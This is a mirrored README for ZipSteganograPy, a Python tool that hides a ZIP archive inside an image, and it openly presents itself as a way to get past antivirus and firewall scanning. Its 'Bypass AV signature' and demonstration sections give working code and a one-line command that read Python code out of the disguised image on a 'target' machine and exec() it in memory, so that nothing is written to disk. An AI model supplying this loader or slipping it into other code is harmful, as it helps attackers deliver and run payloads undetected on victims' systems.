Code Monkey home page Code Monkey logo

zipsteganograpy's Introduction

ZipSteganograPy logo

ZipSteganograPy

Description

This tool hides a ZIP archive in an image.

This tool is useful for bypassing antivirus and firewall scanning.

Requirements

This package require:

  • python3
  • python3 Standard Library

Installation

pip install ZipSteganograPy

Usages

# Hide a ZIP archive in an image:
python3 ZipSteganograPy.py -z archive.zip -o stegano -i image.png
python3 ZipSteganograPy.pyz -z archive.zip -o stegano -i image.jpg

# Create a ZIP archive (with 3 text files) and hide it in an image:
python3 -m ZipSteganograPy -f file1.txt file2.txt file3.txt -i image.jpg
ZipSteganograPy -f file1.txt file2.txt file3.txt -i image.png

# Easily extract the hidden archive using python3 and its standard library:
python3 -m zipfile -l stegano.png            # list files
python3 -m zipfile -e stegano.jpg output/    # extract

# Easily extract the hidden archive using unzip package:
unzip stegano.jpg -l                         # list files
unzip stegano.jpg -d output/                 # extract

Bypass AV signature

This example load a python code from an image and execute it without writing it on the disk.

This method bypass:

  • basic anti-virus analyze based on signatures of files written on the disk
  • behavior module
  • process memory analyze
from zipfile import ZipFile
with ZipFile("stegano.png", "r") as f:
    for filename in f.namelist():
        exec(f.read(filename).decode())

Demonstration

On your computer:

ZipSteganograPy -f hello.py -i ZipSteganograPy_small.png
# ZipSteganograPy  Copyright (C) 2022  Maurice Lambert
# This program comes with ABSOLUTELY NO WARRANTY.
# This is free software, and you are welcome to redistribute it
# under certain conditions.

# New image 'stegano.png' created from 'ZipSteganograPy_small.png' with hidden ZIP archive.

Upload the stegano.png file on the target (the zip file will probably not anlyze by firewalls because the file will be detected as a correct image).

On the target (unzip from image and execute your python code without writing it on the disk):

from zipfile import ZipFile
with ZipFile("stegano.png", "r") as f:
    for filename in f.namelist():
        exec(f.read(filename).decode())
import zipfile;f=zipfile.ZipFile("stegano.png", "r");[exec(f.read(filename).decode()) for filename in f.namelist()]
python3 -c 'import zipfile;f=zipfile.ZipFile("stegano.png", "r");[exec(f.read(filename).decode()) for filename in f.namelist()]'

Proof

Bypass AV proof

Working proof

Working proof

Links

Licence

Licensed under the GPL, version 3.

zipsteganograpy's People

Contributors

mauricelambert avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar

Forkers

lord-dubious

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.